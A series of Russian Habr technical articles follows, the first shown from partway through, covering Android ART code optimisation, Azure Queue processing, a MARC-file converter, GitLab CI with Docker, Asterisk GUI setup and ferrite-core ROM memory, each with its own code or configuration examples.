Рассмотрим подробнее технику оптимизации в применении к обработке в цикле нескольких массивов. Часто для того, чтобы позволить компилятору оптимизировать цикл, нужно переписать код. Вот исходный вариант.
```
for (int i = 0; i < age.length ; i++) {
totalAge += age[i];
totalSalary += salary[i];
}
```
В нём имеется проблема. Программа никак не проверяет длину массива salary, в результате есть риск получить исключение выхода за границы массива. Такую проверку следует предусмотреть, например, на входе в цикл.
```
for (int i = 0; i < age.length && i < salary.length; i++) {
totalAge += age[i];
totalSalary += salary[i];
}
```
Java-программа теперь выглядит куда лучше, но при таком подходе в машинный код попадёт проверка на выход за границы массивов.
В вышеприведённом цикле программист работает с двумя одномерными массивами: age и salary. И хотя индуктивная переменная проходит проверку сравнением с длинами двух массивов, условие здесь множественное и компилятор не может исключить из исполняемого кода проверки выхода за границы массивов.
Массивы, к которым мы обращаемся в циклах – это структуры данных, которые хранятся в различных областях памяти. Как результат, логические операции, выполняемые над их свойствами, независимы. Перепишем код, разделив один цикл на два.
```
for (int i = 0; i < age.length; i++) {
totalAge += age[i];
}
for (int i = 0; < salary.length; i++) {
totalSalary += salary[i];
}
```
После разделения циклов оптимизирующий компилятор исключит из исполняемого кода проверку на выход за границу и для массива age, и для массива salary. В результате Java-код можно ускорить в три-четыре раза.
Оптимизация удалась, но теперь функция содержит два цикла, а не один. Такой подход может привести к неоправданному разрастанию размеров исходных текстов. В зависимости от целевой архитектуры и размеров циклов, или количества подобных оптимизаций, это может повлиять на размер сгенерированного исполняемого кода.
Методики многопоточного программирования
----------------------------------------
В многопоточной программе следует соблюдать осторожность при работе со структурами данных.
Предположим, некая программа запустила четыре одинаковых потока перед входом в цикл, показанный ниже. Каждый из потоков затем работает с массивом целых чисел, который называется `thread_array_sum`. Каждый поток изменяет одну из ячеек массива, адрес которой, являющийся уникальным целочисленным идентификатором потока, задан в переменной `myThreadIdx`.
```
for (int i = 0; i < number_tasks; i++) {
thread_array_sum[myThreadIdx] += doWork(i);
}
```
Общий для всех процессорных ядер кэш последнего уровня (Last Level Cache, LLC) не применяется в некоторых аппаратных архитектурах, например, в линейке процессоров Intel Atom x5-Z8000. Раздельный LLC – это потенциальное сокращение времени отклика, так как для каждого процессорного ядра (или двух ядер) «зарезервирован» собственный кэш. Однако, нужно поддерживать согласованность кэшей. Поэтому, если поток, выполняющийся на ядре A, меняет данные, которые никогда не изменит поток, выполняющийся на ядре B, в кэше ядра B [придётся обновлять](https://en.wikipedia.org/wiki/False_sharing) соответствующие строки. Это может привести к падению производительности и к проблемам с масштабированием ядер.
Из-за особенностей архитектуры кэша, если несколько потоков будут записывать данные в один массив, есть риск столкнуться с падением производительности системы из-за возможного высокого уровня пробуксовки кэша. В подобной ситуации программисту следует воспользоваться локальной переменной для хранения результатов промежуточных вычислений, а после их завершения записать результат в массив. При таком подходе вышеописанный цикл можно преобразовать:
```
int tmp = 0;
for (int i = 0; i < number_tasks; i++) {
tmp += doWork(i);
}
thread_array_sum[myThreadIdx] += tmp;
```
В данном случае элемент массива `thread_array_sum[myThreadIdx]` не затрагивают внутри цикла. Итоговое значение, полученное в результате выполнения функции `doWork()` сохраняется в элементе массива за пределами цикла. Это значительно уменьшает потенциальный риск пробуксовки кэша. Пробуксовка может проявиться и при единственному обращению к массиву, показанному в последней строке кода, но это гораздо менее вероятно.
Не рекомендовано использовать разделяемые структуры данных в циклах, если только сохранённые в них значения не должны быть доступны другим потокам после завершения каждой итерации. В подобных случаях обычно нужно, по меньшей мере, пользоваться полями или переменными, объявленные с ключевым словом volatile, но разговор об этом выходит за пределы данной статьи.
Оптимизация для устройств с небольшой памятью
---------------------------------------------
Существуют очень разные, в плане объёма оперативной и постоянной памяти, Android-устройства. Java-программы следует писать так, чтобы они могли быть оптимизированы независимо от объёма памяти. Так, если в устройстве мало памяти, то один из факторов оптимизации – это размер кода. Это – один из параметров ART.
В Marshmallow методы, размер которых превышает 256 байт, не подвергаются предварительной компиляции для того, чтобы сэкономить постоянную память на устройстве. Поэтому, Java-приложения, которые содержат часто используемые методы большого размера, будут исполняться на интерпретаторе, что негативно скажется на производительности. Для того, чтобы достичь более высокого уровня производительности приложений в Android Marshmallow, реализуйте часто используемые фрагменты кода в виде небольших методов для того, чтобы компилятор мог их полноценно оптимизировать.
Выводы
------
Каждый выпуск Android – это не только новое название, но и новые элементы системы и технологии. Так было с KitKat и Lollipop, это касается и перехода к Marshmallow, который принёс значительные изменения в компиляции приложений.
Как и в случае с Lollipop, ART использует метод компиляции перед исполнением (Ahead-of-Time), при этом приложения обычно преобразуются в машинный код во время их установки. Однако, вместо использования быстрого компилятора (Quick compiler) Lollipop, Marshmallow задействует новый компилятор – оптимизирующий (Optimizing compiler). Хотя в некоторых случаях оптимизирующий компилятор передаёт работу старому, новый компилятор – это основная подсистема создания двоичного кода из Java-текстов на Android.
У каждого из компиляторов есть собственные особенности и средства оптимизации, поэтому каждый из них может генерировать разный машинный код в зависимости от того, как написано Java-приложение. В этом материале мы рассказали о нескольких главных особенностях, которые можно обнаружить в Marshmallow, о том, что должны знать разработчики, создающие приложения для новой платформы.
В оптимизирующем компиляторе присутствует множество новшеств. Некоторые из них сложно показать на примерах, так как большинство улучшений происходит, так сказать, «под капотом». Что мы знаем, так это то, что с взрослением Android-компилятора можно наблюдать за тем, как технологии, лежащие в его основе, становятся всё более и более совершенными, он постепенно догоняет другие оптимизирующие компиляторы.
Компилятор Android постоянно развивается, разработчики могут быть уверены в том, что код, который они пишут, будет хорошо оптимизирован. А значит, их приложения будут радовать пользователей скоростью и приятными впечатлениями от взаимодействия с ними. Мы уверены, что тот, кто будет работать с такими программами, это оценит. | https://habr.com/ru/post/300934/ | null | ru | null |
# Эффективное управление облачными очередями (Azure Queue)
В этой, уже четвертой, статье из цикла «Внутреннее устройство и архитектура сервиса AtContent.com» я предлагаю познакомиться с фоновой обработкой заданий с использованием экземпляров сервиса Azure (Worker Role).
В качестве основного канала коммуникации между экземплярами рекомендуется использовать очереди Azure (Azure Queue). Но использование только этого канала не позволяет максимально эффективно использовать экземпляры сервиса. Итак, в этой статье вы узнаете как
* минимизировать задержку между отправкой задания на экземпляр и началом его обработки
* минимизировать количество транзакций к Azure Queue
* повысить эффективность обработки заданий
Как мы видим из схемы – стандартные средства SDK для Azure предполагают сценарий взаимодействия исключительно через очередь (Azure Queue). При этом экземпляр сервиса Azure не знает в какой момент экземпляр приложения отправит ему задание через очередь. Поэтому ему приходится периодически проверять наличие заданий в очереди, что порождает некоторые проблемы и неудобства.
Одна из проблем – это задержка в обработке заданий. Возникает она по следующей причине. Экземпляр сервиса вынужден периодически проверять наличие заданий в очереди. При этом если делать такую проверку слишком часто – это будет порождать большое количество транзакций к Azure Queue. Если при этом такие задания будут попадать в очередь достаточно редко – мы получаем большое количество «холостых» транзакций. Если же делать проверку наличия заданий в очереди реже – то интервал между такими проверками будет больше. Таким образом если задание попадет в очередь сразу после её проверки экземпляром сервиса – то оно будет обработано только в начале следующего интервала. Это вносит существенные задержки в обработку сообщений.
Ещё одна проблема – это «холостые» транзакции. То есть даже если в очереди нет сообщений – экземпляру сервиса все равно приходится обращаться к ней, чтобы проверить наличие этих самых сообщений. Это порождает накладные расходы.
При стандартном подходе, который предлагает SDK приходится выбирать между расходами на транзакции и величиной задержки при обработке заданий. Для некоторых сценариев время обработки может быть несущественным, а сами задания поступают достаточно регулярно. В таком случае можно следовать рекомендациям из SDK и обрабатывать задания, периодически выбирая их из очереди. Но если задания поступают нерегулярно, могут быть всплески и затишья, – то эффективность обработки заданий стандартным способом падает.
Решить эти поблемы можно с помощью механизма обмена сообщениями между экземплярами и ролями. Он был описан в предыдущей статье серии (<http://habrahabr.ru/post/140461/>). Несколько слов об этом механизме. Он позволяет передавать сообщения от одного экзмепляра другому, либо же всем экземплярам роли. С помощью него можно запускать различные обработчики на экземплярах, что позволяет, например, синхронизировать состояния экземпляров. В применении к поставленной задаче он позволяет запускать обработку очереди сразу же после добавления задания в очередь. При этом не требуется постоянно проверять наличие заданий в очереди, что исключает «холостые» транзакции.
Если рассмотреть этот механизм более подробно, то мы увидим следующее:
Экземпляр приложения Azure добавляет задачу в очередь Azure Queue и отправляет сообщение на экземпляр сервиса Azure. Сообщение, в свою очередь, активирует обработчик. Дальнейшие действия обработчика зависят от настроек. Если в настройках присутсвует запись о том, что обработка очереди уже запущена – то повторно её запускать нет смысла. Иначе обработчик запустит обработку и добавит в настройки соответсвующую запись. Он будет выбирать задания из очереди по мере выполнения и продолжать до тех пор, пока они не закончатся.
Настройки обработчика могут хранться различными способами. Например, в памяти экземпляра (что является не самым надежным способом), в хранилище экземпляра или в хранилище BLOB’ов (Azure Blob Storage).
В библиотеке CPlase для обработки очередей есть специальный класс Queue, который позволяет создавать обработчики очередей. Для этого в библиотеке также есть интерфейс IWorkerQueueHandler и расширения для него, которые позволяют сделать удобной работу с очередями:
```
public interface IWorkerQueueHandler
{
bool HandleQueue(string Message);
}
public static class WorkerQueueHandlerExtensions
{
private static string CleanUpQueueName(string DirtyQueueName)
{
return DirtyQueueName.Substring(0, DirtyQueueName.IndexOf(",")).ToLowerInvariant().Replace(".", "-");
}
public static string GetQueueName(this IWorkerQueueHandler Handler)
{
return CleanUpQueueName(Handler.GetType().AssemblyQualifiedName);
}
public static string GetQueueName(Type HandlerType)
{
return CleanUpQueueName(HandlerType.AssemblyQualifiedName);
}
}
```
Интерфейс очень простой, в нем есть всего-лишь один метод, в котором реализуется вся логика обрабоки сообщения из очереди. Расширение же несет в себе одну цель – получить из типа обработчика приемлемое имя для очереди. Это избавляет программиста от необходимости контролировать имена очередей для различных обработчиков.
В самом же классе Queue реализуется выбор необходимой очереди и её создание, если она отсутствует в хранилище Azure. А также добавление задания в очередь, которое сопряжено с отправкой сообщения на экземпляр сервиса Azure. При этом, как уже было отмечено ранее, используется механизм обмена сообщениями между экземплярами и ролями.
```
public static CloudQueue GetQueue(string QueueName)
{
CreateOnceQueue(QueueName);
return queueStorage.GetQueueReference(QueueName);
}
public static bool AddToQueue(string Task) where QueueHandlerType : IWorkerQueueHandler
{
var Queue = GetQueue(WorkerQueueHandlerExtensions.GetQueueName(typeof(QueueHandlerType)));
return AddToQueue(Queue, Task);
}
public static bool AddToQueue(CloudQueue Queue, string Task)
{
try
{
var Message = new CloudQueueMessage(Task);
Queue.AddMessage(Message);
Internal.RoleCommunicatior.WorkerRoleCommand(typeof(QueueHandlerType));
return true;
}
catch { return false; }
}
```
Легко посчитать выгоду такого решения, если приблизительно знать объем задач, которые поступают в очередь и примерную структуру потока. Так, например, если у вас задачи возникают в основном в вечернее время с 20 до 23 часов, то большую часть суток проверка задач с интервалом будет работать «в холостую». И нетрудно посчитать, что 21 час она будет выбирать задачи из очереди берзезультатно. При этом, если такая проверка будет выполняться раз в секунду – то это повлечет за собой около 75 000 «холостых» транзакций в день. При стоимости транзакций в $0.01 за 10 000 – эта сумма будет составлять $0.075 в день или $2.25 в месяц. Но если у вас будет 100 различных очередей – то дополнительные затраты в месяц составят уже $225.
Другой стороной обработки заданий через интервалы является задержа в обработке. Для некоторых задач такая задержка будет не существенной. У нас же есть задачи, которые необходимо обрабатывать так быстро как это возможно, например – распределение дохода между автором, дистрибьютором и сервисом. Такая задача чувствительна к времени обработки, так как автор хочет видеть свои заработанные деньги на счету сразу же, а не по прошествии какого-то времени. При этом если поток заданий очень большой – то задержка в одну секунду между обработкой ограничит поток обрабатываемых заданий до 60 в минуту, и это при условии, что обработка выполняется мгновенно. Таким образом при пиковой нагрузке поток заданий может очень быстро раздуть очередь.
При таком подходе к обработке заданий из очереди через определенные интервалы времени приходится балансировать между расходами на «холостые» попытки выбрать задание из очереди и задержкой в обработке на пиках нагрузки. Предложенное же нами решение избавляет от необходимости заботиться об интервалах и «холостых» транзакциях. И позволяет посторить обработку заданий из очереди без задержек, с высокой эффективностью и без дополнительных затрат на «холостые» транзакции.
Также отмечу, что механизм работы с очередями входит в состав Open Source библиотеки CPlase, которая в скором времени будет опубликована и доступна для всех желающих.
Читайте в серии:
* «[AtContent.com. Внутреннее устройство и архитектура](http://habrahabr.ru/post/140418/)»,
* «[Механизм обмена сообщениями между ролями и экземплярами](http://habrahabr.ru/post/140461/)»,
* «[Кэширование данных на экземпляре и управление кешированием](http://habrahabr.ru/post/140955/)»,
* «[Расширения LINQ для Azure Table Storage, реализующие операции Or и Contains](http://habrahabr.ru/post/142627/)»,
* «[Практические советы по разделению данных на части, генерация PartitionKey и RowKey для Azure Table Storage](http://habrahabr.ru/post/143838/)». | https://habr.com/ru/post/141797/ | null | ru | null |
# BatchMarc обрабатывем marc файлы на go + js
Всем бобра!
Сегодня пятница, а это значит время подводить итоги!
Продолжая темы нашего библиотечного клуба спешу немного порадовать всех причастных: я сделяль!
Спустя море потраченных нервных клеток, спустя ад документации по marc форматам, и кучу костылей я всё таки собрал относительно вменяемый (но пока с ужасным кодом :) ) конвертор (+обработчик +всё, на что хватит фантазии) для marc форматов.
<https://github.com/HerzenLibRu/BatchMarc> (обработчик, правила пишутся на js)
<https://github.com/t0pep0/marc21> (библиотека на Go для работы с marc форматами)
Запускать можно вот так:
go run main.go inputFile.ldb outputFile.ldb rules.js
Правила применяются к каждой marc записи в файле.
Документация пока ещё не писалась, но у нас же все впереди? =)
Некоторые ньюансы библиотеки (а соответсвенно и конвертора):
* подполя хранятся связным списком с сортировкой при добавлении (специфичные запросы от коллег не позволили использовать hashmap)
* именование флагов лидера может Вам не понравится
Особености написания правил:
Когда Ваше правило начинает выполняться уже существует два объекта: orig и res — orig — оригинальная запись, res — то, что в итоге будет записанно в выходной файл и при старте Вашего правила res — пустой объект, только что инициализированный, в то время как orig заполнен данными
```
function VariableSubField(name, data){
this.Name = name;
this.Data = data;
}
function VariableField(tag, indicatorOne, indicatorTwo) {
this.Tag = tag;
this.IndicatorOne = indicatorOne;
this.IndicatorTwo = indicatorTwo;
this.RawData = [];
this.SubField = [];
}
function Leader() {
this.Status = "";
this.Type = "";
this.BibLevel = "";
this.ControlType = "";
this.CharacterEncoding = "";
this.IndicatorCount = "";
this.SubfieldCodeCount = "";
this.EncodingLevel = "";
this.CatalogingForm = "";
this.MultipartLevel = "";
this.LengthOFFieldPort = "";
this.StartCharPos = "";
this.LengthImplemenDefine = "";
this.Undefine = "";
}
function MarcRecord(){
this.Leader = new Leader()
this.VariableField = []
};
orig = new MarcRecord();
res = new MarcRecord();
```
Когда Ваши правила отработают, Go заберет данные из res, и запишет их в файл.
Внимание! Код не оптимизирован, считайте что это минимальный жизнеспособный продукт.
Пример правил можете найти в репозитарии BatchMarc.
PullRequest, IssueRequest — принимаются
UPD: js для написания правил выбран как наиболее широко распростарненный (в библиотечной среде, в том числе) язык | https://habr.com/ru/post/395377/ | null | ru | null |
# Как тестировать контейнеры RoR с GitLab CI в контейнере
Чем хорош GitLab, так это тем, что будучи по габаритам слоном в посудной лавке, он умеет аккуратно устанавливаться и почти всегда работает с коробки. Но плохо умеет восстанавливаться и заботиться о себе, когда очень прямые руки вроде моих нарушают привычное ему окружение. Не буду углубляться в то, как мне удавалось убить его до состояния, когда даже удаление и установка с нуля не помогает, но во избежания очередной бесконечной эпопеи с дебагом и переустановкой сервера я вынес все это дело в Docker контейнер. Удобно — на рабочей машине нет миллиона зависимостей, примонтировал директории для репозиториев, логов и базы данных и все работает. Восстановление — пересоздать контейнер и скормить бэкап (кстати, не забудьте проверить свои бэкапы, как говорит опыт GitLab, это не лишнее).
С другой стороны, есть разрабатываемое Rails приложение, которое на реальной машине держит только код; Rails, gems, и все остальное покоится в Docker контейнере. Для своей работы оно использует Redis и Postgres, каждый находится в своем контейнере. Для каждого контейнера примонтирована директория, чтобы важные для приложения данные не оставались внутри.
Задача в том, чтобы Gitlab CI нормально отработал. Вроде все просто, но — он сам находится в контейнере.
**Кстати, docker-compose.yml к rails приложению**
```
services:
postgres:
image: postgres:9.4.5
volumes:
- /var/db/test/postres:/var/lib/postgresql/data
env_file: .env
ports:
- "54321:5432"
redis:
image: redis:latest
volumes:
- /var/db/test/redis:/data
app:
build: .
env_file: .env
volumes:
- /var/www/test:/var/www/test
ports:
- "3000"
links:
- postgres
- redis
```
В .env файле лежит например пароль к базе данных, POSTGRES\_PASSWORD. [Здесь](https://hub.docker.com/r/_/postgres/) можно посмотреть, какие переменные используются в контейнере postgresql. Вместо ports можно использовать expose, но для мониторинга с хоста лучше открыть окно в мир.
К Redis'у замечаний нет вообще — подключил, он сам сделал [expose](https://docs.docker.com/engine/reference/builder/#/expose) на 6379, и работает. Всем бы так.
Первая мысль — инсталлировать Docker в Docker'е. Я верю в человечество, и в то, что в мире есть человек, который за разумное время сделал настоящую вложенность, с установкой Docker в контейнер, которая **реально** работает, но лично мне это не удалось. Значит, нужен второй вариант — тестировать извне: все контейнеры должны находиться рядом с контейнером GitLab, автоматически создаваться и уничтожаться системой CI изнутри контейнера.
Для тестов нам не нужно монтировать внешние директории, все равно данные одноразовые. После тестов все контейнеры автоматически останавливаются.
### Шарим Docker
> Не рекомендуется давать недоверенным программам в контейнерах доступ к Docker'у на хосте. Имея таковой, можно легко запустить создание другого контейнера на хосте, который примонтирует нужную директорию или даже целый том (или devices, к примеру веб-камеру или принтер), установит нужный злоумышленнику код, и неспешно вытянет все ваши биткоины, и все это не покидая уютной песочницы. Но поскольку я тестирую свой код, предостережением можно пренебречь.
Чтобы позволить контейнеру управлять своим отцом, нужно пробросить ему родительский сокет. В идеальном мире это делается так:
```
docker run .. -v /var/run/docker.sock:/var/run/docker.sock
```
но для тех, кто не ищет в жизни легких путей, оно не работает. Нужно во-первых добавить еще и
```
-v /usr/bin/docker:/usr/bin/docker
```
потом обнаружить, что это работает только если бинарники докера на хосте статические (не спрашивайте), иначе придется позаботиться о каждой библиотеке в этой директории отдельно. Если your host's docker binary is not static (не спрашивайте!), как у меня, значит работаем дальше.
Смотрим список библиотек в /usr/bin/docker:
```
ldd /usr/bin/docker
```
```
linux-vdso.so.1 (0x00007fffb9ff4000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f711fe27000)
libltdl.so.7 => /usr/lib/x86_64-linux-gnu/libltdl.so.7 (0x00007f711fc1d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f711f871000)
/lib64/ld-linux-x86-64.so.2 (0x000055a205b12000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f711f66d000)
```
**Ленивым**Мне понадобилась только ibltdl.so.7 библиотека, все остальное в контейнере было, все таки Gitlab это вам не Alphine Linux. Проверить можно с помощью консоли контейнера, вызывая в ней *docker*, она вам скажет, какой библиотеки нет. Подключите нужную и пробуйте еще. Если вам не кажется, что такой путь проще, монтируйте все. ОН простит.
Прописав в docker-compose.yml Gitlab'а (не проекта, не перепутайте) пути, которые кажутся интуитивными, и попробовав стартовать контейнер Gitlab:
```
volumes:
...
- /var/run/docker.sock:/var/run/docker.sock
- /usr/bin/docker:/usr/bin/docker
- /usr/bin/docker/libltdl.so.7:/usr/bin/docker/libltdl.so.7
```
docker при старте разразился страшной руганню, которая была столь груба, что почти каждое слово экранировалось семижды!
```
ERROR: for gitlab Cannot start service gitlab: invalid header field value "oci runtime error: container_linux.go:247: starting container process caused \"process_linux.go:359: container init caused \\\"rootfs_linux.go:53: mounting \\\\\\\"/usr/bin/docker/libltdl.so.7\\\\\\\" to rootfs \\\\\\\"/var/lib/docker/devicemapper/mnt/2df228e042aed186eebbb484989e44cee3126c0a3bfb42d25c8998ada5afb9bd/rootfs\\\\\\\" at \\\\\\\"/usr/bin/docker/libltdl.so.7\\\\\\\" caused \\\\\\\"stat /usr/bin/docker/libltdl.so.7: not a directory\\\\\\\"\\\"\"\n"
```
Решение «в лоб»:
```
volumes:
...
- /var/run/docker.sock:/var/run/docker.sock
- /usr/bin/docker:/usr/bin/docker
- /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7
```
То есть нам нужны пути к файлам с правой части таблички с библиотеками.
**docker-compose.yml от Gitlab**
```
gitlab:
image: 'gitlab/gitlab-ce:8.14.5-ce.0'
restart: unless-stopped
hostname: 'git.habrahabr.ru'
environment:
GITLAB_OMNIBUS_CONFIG: "external_url 'http://git.habrahabr.ru'"
ports:
- "3456:80" # если ваш контейнер не один претендует на 80-й порт.
- "52022:22"
volumes:
- /docker/gitlab/data/conf:/etc/gitlab
- /docker/gitlab/data/logs:/var/log/gitlab
- /docker/gitlab/data/data:/var/opt/gitlab
- /var/run/docker.sock:/var/run/docker.sock
- /usr/bin/docker:/usr/bin/docker
- /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7
```
### Создаем .gitlab-ci.yml
```
image: "ruby:2.3"
services:
- redis:latest
- postgres:9.4.5
cache:
paths:
- vendor/ruby
before_script:
- apt-get update -q && apt-get install nodejs -yqq # стоит это откоментирровать сразу. Сохраните 5-10 минут жизни.
- gem install bundler --no-ri --no-rdoc
- bundle install -j $(nproc) --path vendor
rspec:
stage: test
script:
- bundle exec rake db:create
- bundle exec rake db:migrate
- bundle exec rake db:seed
- rspec spec
```
Чтобы верно создать этот файл, лучше всего смотреть на docker-compose.yml приложения. К примеру, контейнер postgres — подключать volumes нам не нужно, env файл с паролем к базе данных не нужен (нам ведь все равно, какой пароль в базы, которая живет 10 секунд), порты наружу тоже. То есть остается только указать имя образа (image). Redis: volumes не нужны, так что только имя образа. Главный образ это ruby, в который Gitlab смонтирует код, и запустит before\_script.
#### Вместо эпилога
На настроенный подобным образом GitLab можно навернуть что угодно, от Registry образов до Docker-in-docker решений. Например, вместо разворачивания кода в ruby контейнере средствами GitLab создать решение на основе gitlab/dind, в котором запустить docker build. Но это предмет совсем другой статьи. | https://habr.com/ru/post/320982/ | null | ru | null |
# Asterisk GUI. Первые шаги
Почти всякий раз, когда речь заходит о выборе web-интерфейса к asterisk, в ход идут рекомендации «тяжелой артиллерии»: trixbox, elastix, freepbx. Asterisk GUI остается эдакой «темной лошадкой»: вроде и слышали о нем, вроде и скриншоты симпатишные, а реально работающих систем — с гулькин нос. Частично это объясняется новизной, необкатанностью продукта. Частично — отсутствием документации. Частично — иннертностью сообщества. Попытаемся сдвинуть дело с мертвой точки…
В статье — пошаговые инструкции, как установить и настроить Asterisk с Asterisk GUI.
#### Преимущества:
* Разрабатывается digium, той же компанией, что разрабатывает и сам asterisk
* Не требует наличия Apache, MySQL, PHP. Использует встроенный веб-сервер asterisk. Написан на html и javascript
* Не зависит от наличия сторонних программ/библиотек. Не требует установки на каком-либо конкретном дистрибутиве. Все что нужно для установки — работающий asterisk
#### Установка Asterisk и Asterisk GUI
Приступим… Качаем исходный код из svn и собираем. Можно скопировать нижеприведеные комманды в консоль и откинуться на спинку кресла в ожидании.
`svn co svn.digium.com/svn/asterisk/branches/1.6.0 asterisk
cd asterisk
./configure && make && make install && make samples && make config
cd ..
svn co svn.digium.com/svn/asterisk-gui/branches/2.0 asterisk-gui
cd asterisk-gui
./configure && make && make install
cd ..`
После того как процесс сборки завершился, отредактируем два конфигурационных файла:
/etc/asterisk/manager.conf должен выглядеть примерно так:
`[general]
enabled = yes
webenabled = yes
port = 5038
bindaddr = 127.0.0.1
[admin]
secret = 123456
read = system,call,log,verbose,agent,user,config,dtmf,reporting,cdr,dialplan
write = system,call,agent,user,config,command,reporting,originate`
А /etc/asterisk/http.conf — так:
`[general]
enabled = yes
enablestatic = yes
bindaddr = 0.0.0.0
redirect = / /static/config/cfgbasic.html
[post_mappings]
backups = /var/lib/asterisk/gui_backups`
Запускаем asterisk:
`/etc/init.d/asterisk start`
На этом процесс установки завершен.
#### Настройка Asterisk при помощи Asterisk GUI
Рассмотрим простой случай. У нас в системе один пользователь (один VoIP-телефон). Есть SIP транк к провайдеру my.sip.trunk.com. Провайдер предоставил нам один пробный номер — 7692450. Наша задача — дать нашему единственному пользователю возможность звонить и принимать звонки.
На рабочей машине запускаем браузер и вбиваем в адресной строке x.x.x.x:8088, где x.x.x.x — IP машины, на которой установлены Asterisk и Asterisk GUI. Вводим имя пользователя и пароль, и жмем кнопку login.
После непродолжительных сообщений о обновлениях конфигурационных файлов (система будет пытаться определить, установлено ли у нас какое-нибудь digium-железо) мы попадем на главную страничку.
Прежде всего сконфигурируем SIP-транк к провайдеру. Заходим в «Trunks», «VoIP Trunks» и жмем «New SIP/IAX Trunk». Заполняем поля в окошке по аналогии с тем, что на картинке.
Сконфигурируем правило для исходящих звонков: все исходящие звонки — отправлять в только что созданный транк. Идем в «Outgoing Calling Rules». Жмем «New Calling Rule» и заполняем поля в окошке.
Сконфигурируем план звонков (Dialplan). Dialplan — не что иное как группа правил для исходящих звонков. В нашем случае у нас всего одно правило. Итак, идем в «Dial Plans», жмем «New DialPlan». В окошке отмечаем галочкой созданное на предыдущем шаге правило.
Создаем пользователя. Идем в «Users». Жмем «Create New User». Определяем нашему пользователю имя (CallerID Name), номер для исходящих звонков (CallerID Number) и план звонков.
Осталось определить правило для входящих звонков. Тема эта довольно интересна сама по себе и тянет на отдельную статью. Дело в том, что входящий звонок можно загнать в интерактивное меню («to contact technical support — press 1, to contact sales department — press 2, to speak with an operator — press 0»), отправить сразу нескольким телефонам одновременно (пока кто-нибудь не снимет трубку), отправить в автоответчик, если никто не отвечает n секунд, переадресовать на мобильный… и много еще чего. Мы же скромно направим входящие звонки нашему единственному пользователю. Итак, идем в «Incomming Calling Rules», жмем «New Incomming Rule» и заполняем поля в окошке по аналогии с тем что на картинке.
Ну вот и все. Жмем кнопку «Apply Changes» в верхнем правом углу.
Надеюсь, кому-нибудь эта статья будет полезна. | https://habr.com/ru/post/54816/ | null | ru | null |
# Хелп по отчетам в Outlook
**UPD** Статья — вопрос, а не мануал. Если вы не знаете ответа, зачем ставить минус, не читая?
Предистория: На мыло валятся письма от пользователей с различными просьбами — создать учетку, добавить права и так далее. В конце недели и в конце месяца нужно отправлять отчет об обращениях.
**Дано:** Outlook, MS Exchange Server, ISA.
**Суть задачи:**
Желательно, чтобы отчет формировался плагином к Outlook'у или макросом. Но подойдет и сторонний софт.
*Что нужно получать на выходе*
Excel-файл:
`Дата обращения | Кто обратился | Проблема`
**Нюансы:**
1. Неплохо было бы категории сделать по типам обращений.
2. Есть нехорошие юзеры, которые не пишут тему письма. В этом случае надо смотреть как раз по типам обращений.
3. Ваши дополнительные предложения.
С удовольствием выслушаю ваши идеи на эту тему.
ЗЫ. ППНХ (Первый Пост На Хабре), сильно не ругайте | https://habr.com/ru/post/37331/ | null | ru | null |
# Ферритовый ROM для самых маленьких
Готовое устройствоИ снова здравствуйте, дамы и господа. Наш Отдел Перспективных Разработок продолжает свой цикл статей о древних технологиях и опять выходит на связь с очередным передовым творением нашего сумрачного разума приближающим трепетный момент всеобщей строггофикации.
Сегодня мы совершим небольшой экскурс в историю прошлого века и выдернем оттуда знания об артефакте, практическая пригодность которого на сегодняшний день такова, что перед ней спасует даже наша отдельная лаборатория, которая всем этим поделкам назначение придумывает. В смысле, нулевая практическая пригодность. Однако, вполне сгодится на лабораторную работу для школьника с ардуиной, или занятие на вечер для тебя, мой дорогой инженер с каждодневной работой, женой, дочкой, двумя котами и кризисом среднего возраста.
Итак, мы рассмотрим память на ферритовых кольцах, причем, даже не RAM, а ROM.
Теория
------
В ретроспективе компьютерной истории двадцатого века память на ферритовых кольцах стала одной из важных вех развития цифровых технологий. Не смотря на то, что классическое ОЗУ на ферритовых кольцах появилось аж в [1945 году](https://ru.wikipedia.org/wiki/%D0%AD%D0%BA%D0%BA%D0%B5%D1%80%D1%82,_%D0%94%D0%B6%D0%BE%D0%BD_%D0%9F%D1%80%D0%B5%D1%81%D0%BF%D0%B5%D1%80), ПЗУ на похожей технологии в физическом виде реализовали несколько позже, когда понадобилось вместить некоторый объем данных в минимально возможное для технологий того времени пространство. ПЗУ на ферритовых кольцах, оно же [«веревочная»](https://wiki5.ru/wiki/Core_rope_memory) память применялась как способ хранения прошивки в виде адресуемых единиц данных, например, в бортовых компьютерах СССР и НАСА того времени, летавшие зондами на Марс и на Луну (миссия «Аполлон» как широко известный пример).
Не смотря на сходный принцип работы ферритовых ОЗУ и ПЗУ, способ хранения информации в них несколько различается. Рассмотрение работы ОЗУ мы оставим для следующих статей, а ПЗУ же функционировало достаточно просто:
Ферритовое кольцо являлось, по сути, примитивнейшим трансформатором, который использовался как датчик наличия тока. Если пропустить через кольцо два проводника и подать через один проводник ток (пусть это будет измеряемый проводник), в кольце наведется магнитный поток, и во втором (измеряющем) проводнике так же возникнет ток, который возможно зафиксировать.
Однако, возникающие напряжения на измеряющем проводнике гораздо ниже, чем на измеряемом, потому, для наших целей мы его немного модифицируем - сделаем несколько витков вокруг кольца и добавим конденсатор и диод. Конденсатор позволит накапливать заряд, стекающий с «измеряющего» проводника, по наличию которого в дальнейшем мы будем принимать решение о наличии тока в «измеряемом» проводнике, а диод позволит не потерять накопленный в конденсаторе заряд.
Ферритовый датчикСуть работы данной схемы проста:
Если подать на измеряемый проводник напряжение и считать накопленный конденсатором потенциал с датчика, то, при его наличии можно принять данный факт за установленный бит. Если напряжения нет – бит не установлен.
А теперь магия! Через кольцо возможно пропустить много проводников. Столько, сколько позволит в него запихнуть внутренний диаметр. И, если пометить каждый такой измеряемый проводник адресом, можно судить о наличие отдельного бита по данному адресу.
Экстраполируем данную схему на нашу суровую действительность и попробуем снимать с одного адреса уже не один бит, а целый байт, ибо от одного бита толку мало. Для этого возьмем восемь колец:
Ферритовый байтПропустим через кольца проводник, помеченный адресом 0. Поскольку каждое кольцо будет опознавать свой бит, то, через кольца с номером бита, который должен быть установлен в 0, мы просто не будем наш проводник пропускать.
